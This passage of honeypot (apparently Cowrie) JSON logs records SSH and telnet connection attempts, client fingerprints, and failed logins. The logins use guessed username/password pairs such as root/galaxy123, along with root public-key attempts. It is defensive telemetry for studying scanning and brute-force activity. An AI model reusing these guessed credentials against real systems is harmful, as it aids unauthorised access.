f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:47.895362Z","src_ip":"43.134.49.202","session":"4177868691e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quiz","password":"quiz","message":"login attempt [quiz/quiz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:48.905957Z","src_ip":"43.134.49.202","session":"4177868691e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:50.152444Z","src_ip":"43.134.49.202","session":"4177868691e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59200,"dst_ip":"10.17.0.5","dst_port":22,"session":"877f55540dfe","protocol":"ssh","message":"New connection: 87.251.79.125:59200 (10.17.0.5:22) [session: 877f55540dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:57.271604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:57.279649Z","src_ip":"87.251.79.125","session":"877f55540dfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:57.350673Z","src_ip":"87.251.79.125","session":"877f55540dfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amfitamin","message":"login attempt [root/amfitamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:57.566183Z","src_ip":"87.251.79.125","session":"877f55540dfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":44048,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a1c56eca442","protocol":"ssh","message":"New connection: 67.231.24.5:44048 (10.17.0.5:22) [session: 9a1c56eca442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:57.825085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:57.828605Z","src_ip":"67.231.24.5","session":"9a1c56eca442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:57.844884Z","src_ip":"67.231.24.5","session":"9a1c56eca442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galaxy123","message":"login attempt [root/galaxy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:57.899798Z","src_ip":"67.231.24.5","session":"9a1c56eca442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:58.639554Z","src_ip":"87.251.79.125","session":"877f55540dfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:58.919163Z","src_ip":"67.231.24.5","session":"9a1c56eca442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":37934,"dst_ip":"10.17.0.5","dst_port":23,"session":"49459e7286d3","protocol":"telnet","message":"New connection: 94.23.66.112:37934 (10.17.0.5:23) [session: 49459e7286d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:32.058895Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":38116,"dst_ip":"10.17.0.5","dst_port":23,"session":"6104616c4b49","protocol":"telnet","message":"New connection: 94.23.66.112:38116 (10.17.0.5:23) [session: 6104616c4b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:34.088987Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":58826,"dst_ip":"10.17.0.5","dst_port":22,"session":"4caef1626420","protocol":"ssh","message":"New connection: 91.92.40.176:58826 (10.17.0.5:22) [session: 4caef1626420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:42.804565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:42.808835Z","src_ip":"91.92.40.176","session":"4caef1626420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:42.890267Z","src_ip":"91.92.40.176","session":"4caef1626420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftpuser","message":"login attempt [ftp/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:43.137026Z","src_ip":"91.92.40.176","session":"4caef1626420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:44.222337Z","src_ip":"91.92.40.176","session":"4caef1626420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.210.155.71","src_port":43078,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdefa46fdc4d","protocol":"ssh","message":"New connection: 210.210.155.71:43078 (10.17.0.5:22) [session: cdefa46fdc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:45.730888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:45.734744Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:45.961427Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:af:fb:72:7a:d4:c4:0a:2f:60:14:d6:7e:3e:a8:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMs6JDr9JSvi7YOwj/vz6PlT8YypIjiaFy+W8XNNTduDf3Bu4uIwT0eDA9RrfVgVmyjWJVOLNENJMN+1qKwIXxcSzLXSlE8cuXWqezB73DEbqsL+YdzgGYijY1YVvpDTg/OhDxdPAZbQCypohRzSt3yFTXfvMGuWMAjmdX8+yoViq2ot713mYzpZ3JMUrOzY7aa33OR9JSWRG/qnp9je3zLKK/NegczV2XJe+QGqIj5IHWbNHi64vNw2R66+iYrcihS+kKk3BFqikvP9sygidLLaaAoWYqBQxAYAl6WnQglEM+j1pxZqNS0Z++w9NAJ6QjmdFvQrduxIHnbJzEjwrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:af:fb:72:7a:d4:c4:0a:2f:60:14:d6:7e:3e:a8:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:47.074134Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:af:fb:72:7a:d4:c4:0a:2f:60:14:d6:7e:3e:a8:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMs6JDr9JSvi7YOwj/vz6PlT8YypIjiaFy+W8XNNTduDf3Bu4uIwT0eDA9RrfVgVmyjWJVOLNENJMN+1qKwIXxcSzLXSlE8cuXWqezB73DEbqsL+YdzgGYijY1YVvpDTg/OhDxdPAZbQCypohRzSt3yFTXfvMGuWMAjmdX8+yoViq2ot713mYzpZ3JMUrOzY7aa33OR9JSWRG/qnp9je3zLKK/NegczV2XJe+QGqIj5IHWbNHi64vNw2R66+iYrcihS+kKk3BFqikvP9sygidLLaaAoWYqBQxAYAl6WnQglEM+j1pxZqNS0Z++w9NAJ6QjmdFvQrduxIHnbJzEjwrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:47.077551Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:71:6c:d0:9b:7e:75:06:58:ec:1d:da:73:07:e4:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3+xICoASvmq4HpiEW1BBsTHQu1RdB6yYOqgut1WYfShDV/3rwsS1nsV1zY0nijvq3Q+/cmAqdlXF2GrcSq64uApphoFg8pckpRoBiG158Lz/4pMJRZz5GvaeeLDsAf7NzAZuqFZJ67lYXvxrf3pCFREtuPoKo8W7qNXgQOERlhMu3MbSrb2eK3Xo5cUHmDriBgMDgivHCCFvKfYhSZNllJevFAucthWfS4bpZUh4wqPu3seu+6CPHZOpn66U3YTmYcguTDz7VDSN56yrcsBIyKUSnhY8NDUnPanMbIpdxahL3wk/AbzK+hQP22cQXUp0jx7TRpPWD7XEK4aqiTlgqD4X2Kns2zQC34GQZ6qEexhbZecjB77lAyjB+evgZzGqibobGpdOwZxxF/oLgXHIiCsE9MV/1B886n3LaY1qea8y1+tgCTJ7Gd3BKJXrptzwV4LNVGdwDBG/icjhnNbF+6ZHyGspVTVOB6EPhebfcz21fGH42PIMtSfBkTuApqTs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:71:6c:d0:9b:7e:75:06:58:ec:1d:da:73:07:e4:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:47.304697Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:71:6c:d0:9b:7e:75:06:58:ec:1d:da:73:07:e4:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3+xICoASvmq4HpiEW1BBsTHQu1RdB6yYOqgut1WYfShDV/3rwsS1nsV1zY0nijvq3Q+/cmAqdlXF2GrcSq64uApphoFg8pckpRoBiG158Lz/4pMJRZz5GvaeeLDsAf7NzAZuqFZJ67lYXvxrf3pCFREtuPoKo8W7qNXgQOERlhMu3MbSrb2eK3Xo5cUHmDriBgMDgivHCCFvKfYhSZNllJevFAucthWfS4bpZUh4wqPu3seu+6CPHZOpn66U3YTmYcguTDz7VDSN56yrcsBIyKUSnhY8NDUnPanMbIpdxahL3wk/AbzK+hQP22cQXUp0jx7TRpPWD7XEK4aqiTlgqD4X2Kns2zQC34GQZ6qEexhbZecjB77lAyjB+evgZzGqibobGpdOwZxxF/oLgXHIiCsE9MV/1B886n3LaY1qea8y1+tgCTJ7Gd3BKJXrptzwV4LNVGdwDBG/icjhnNbF+6ZHyGspVTVOB6EPhebfcz21fGH42PIMtSfBkTuApqTs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:47.308339Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:63:fb:97:4f:b3:a2:97:56:15:f2:93:d5:e2:f9:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvA58GRzBx2NuhRFxtCUigk0L9/WXOuisq9rbo0YW9q70YD5DFpKxXb9Jzbr/GSyK/pFr2mM+1ibbwqWZEwmBDDGyu4wNBRkb3ES1rs4tmWiRacyYxbet758x/pFNzAccQ5QCqQRkTZs2UVxjZIpJ3PGXvvnirQDKTO2OPoHGYEqlQ3QkH0+p40VcHXH6YMLzPE0smx1YONO9wAK2qmHwYatk1SZTXXJ8SMlV168MAbf6qbJ6Bvm86ZFKV/7LKm4Ja9zUfzCJwaRZpN6H4jvPV9gO7uxsr32vCrjNMAQBGokMYKFqncp9pZv+gavu2wYfCG8OLAA3sJhV4gyir9zlYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:63:fb:97:4f:b3:a2:97:56:15:f2:93:d5:e2:f9:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:47.535872Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:63:fb:97:4f:b3:a2:97:56:15:f2:93:d5:e2:f9:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvA58GRzBx2NuhRFxtCUigk0L9/WXOuisq9rbo0YW9q70YD5DFpKxXb9Jzbr/GSyK/pFr2mM+1ibbwqWZEwmBDDGyu4wNBRkb3ES1rs4tmWiRacyYxbet758x/pFNzAccQ5QCqQRkTZs2UVxjZIpJ3PGXvvnirQDKTO2OPoHGYEqlQ3QkH0+p40VcHXH6YMLzPE0smx1YONO9wAK2qmHwYatk1SZTXXJ8SMlV168MAbf6qbJ6Bvm86ZFKV/7LKm4Ja9zUfzCJwaRZpN6H4jvPV9gO7uxsr32vCrjNMAQBGokMYKFqncp9pZv+gavu2wYfCG8OLAA3sJhV4gyir9zlYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:47.539148Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:23:e3:39:70:ea:4a:9d:90:22:1b:19:99:d2:b9:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC24KDe86hYSknAetoFEj109ECEDH1B0Lk3liegoZh9f3KAQLSKCKdyQMZz9BGUgbEaroU3SkG5udPle9DaOkcumZI1jMYpAGSt8sPw6bUSU9POYGQBs9myX77WsA7qBw3EQTd+tBJYAC9CjzE//m+W5qqiEaHzoaPGKnMm//u2zeZ90YgC5VrdSRVWc49SnOZkSxe5Sqzza0W2AiyX/Tpz22VoSAq+zqGwc3bO+hoOlwu45PB+DXDCY6DoBaHWSxKdwS8ocPo19j+B2ftrfRtiGZpitx5DFXSxdUyee2rtXhw0+/dW9DfF+hc5K+5Y4hv/icmEJOEiVGXmiqAPTdiiK+SLYcFwrXQ484XXwlxFW6vcDzcJXayILGWLhtu8l/zK+85J3NKDb0fFuErVTkIHksYOeCACp0xSz8oyF+mgIK0DiL7Lqz/X4s2iBFJcj6aakYoIBshS+16YZoNTblro4Noqak8wLVMxV6oUImiRRJ6SPdI1fIT2P25DgoILJqM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:23:e3:39:70:ea:4a:9d:90:22:1b:19:99:d2:b9:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:47.766212Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:23:e3:39:70:ea:4a:9d:90:22:1b:19:99:d2:b9:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC24KDe86hYSknAetoFEj109ECEDH1B0Lk3liegoZh9f3KAQLSKCKdyQMZz9BGUgbEaroU3SkG5udPle9DaOkcumZI1jMYpAGSt8sPw6bUSU9POYGQBs9myX77WsA7qBw3EQTd+tBJYAC9CjzE//m+W5qqiEaHzoaPGKnMm//u2zeZ90YgC5VrdSRVWc49SnOZkSxe5Sqzza0W2AiyX/Tpz22VoSAq+zqGwc3bO+hoOlwu45PB+DXDCY6DoBaHWSxKdwS8ocPo19j+B2ftrfRtiGZpitx5DFXSxdUyee2rtXhw0+/dW9DfF+hc5K+5Y4hv/icmEJOEiVGXmiqAPTdiiK+SLYcFwrXQ484XXwlxFW6vcDzcJXayILGWLhtu8l/zK+85J3NKDb0fFuErVTkIHksYOeCACp0xSz8oyF+mgIK0DiL7Lqz/X4s2iBFJcj6aakYoIBshS+16YZoNTblro4Noqak8wLVMxV6oUImiRRJ6SPdI1fIT2P25DgoILJqM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:47.769319Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:cc:ef:c4:c2:8a:cc:4c:d8:fd:67:1d:d1:80:6b:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3jd3AQ5rTTjS3IwSdbe2kgCplL6MqPFD1gSc3YMuvfLeUbtsrwQK/3t44jZT9DK+X9XkPXZiNsRE3o/wie57SDE4YlNm7wO6BrUnz+UWJmpfsYctqYYJX2u8vUE3Pb8fXRQnZplajTPobAWoN/eL2toNB+SL7hdn6HSdB67U9i33c1Pz8GkWKzpUnVqlQN/cZKNYkiU9L09BQcX1bmr6UeE1i7McI1nTuSrpNQK5yG+UzKMppi7keakyQSvExyjLCJjaXXopObOBa3f2JjAWWSdqmF8a0C7fnGABmd0jYfZ2GdzE74J2OPGkTSOA2qr+Bsov14TJZigQnfERt8YPUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:cc:ef:c4:c2:8a:cc:4c:d8:fd:67:1d:d1:80:6b:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:48.002965Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:cc:ef:c4:c2:8a:cc:4c:d8:fd:67:1d:d1:80:6b:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3jd3AQ5rTTjS3IwSdbe2kgCplL6MqPFD1gSc3YMuvfLeUbtsrwQK/3t44jZT9DK+X9XkPXZiNsRE3o/wie57SDE4YlNm7wO6BrUnz+UWJmpfsYctqYYJX2u8vUE3Pb8fXRQnZplajTPobAWoN/eL2toNB+SL7hdn6HSdB67U9i33c1Pz8GkWKzpUnVqlQN/cZKNYkiU9L09BQcX1bmr6UeE1i7McI1nTuSrpNQK5yG+UzKMppi7keakyQSvExyjLCJjaXXopObOBa3f2JjAWWSdqmF8a0C7fnGABmd0jYfZ2GdzE74J2OPGkTSOA2qr+Bsov14TJZigQnfERt8YPUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:48.005934Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:48.233059Z","src_ip":"210.210.155.71","session":"cdefa46fdc4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.249","src_port":55478,"dst_ip":"10.17.0.5","dst_port":22,"session":"49b533befa3a","protocol":"ssh","message":"New connection: 209.90.232.249:55478 (10.17.0.5:22) [session: 49b533befa3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:59.844332Z"}
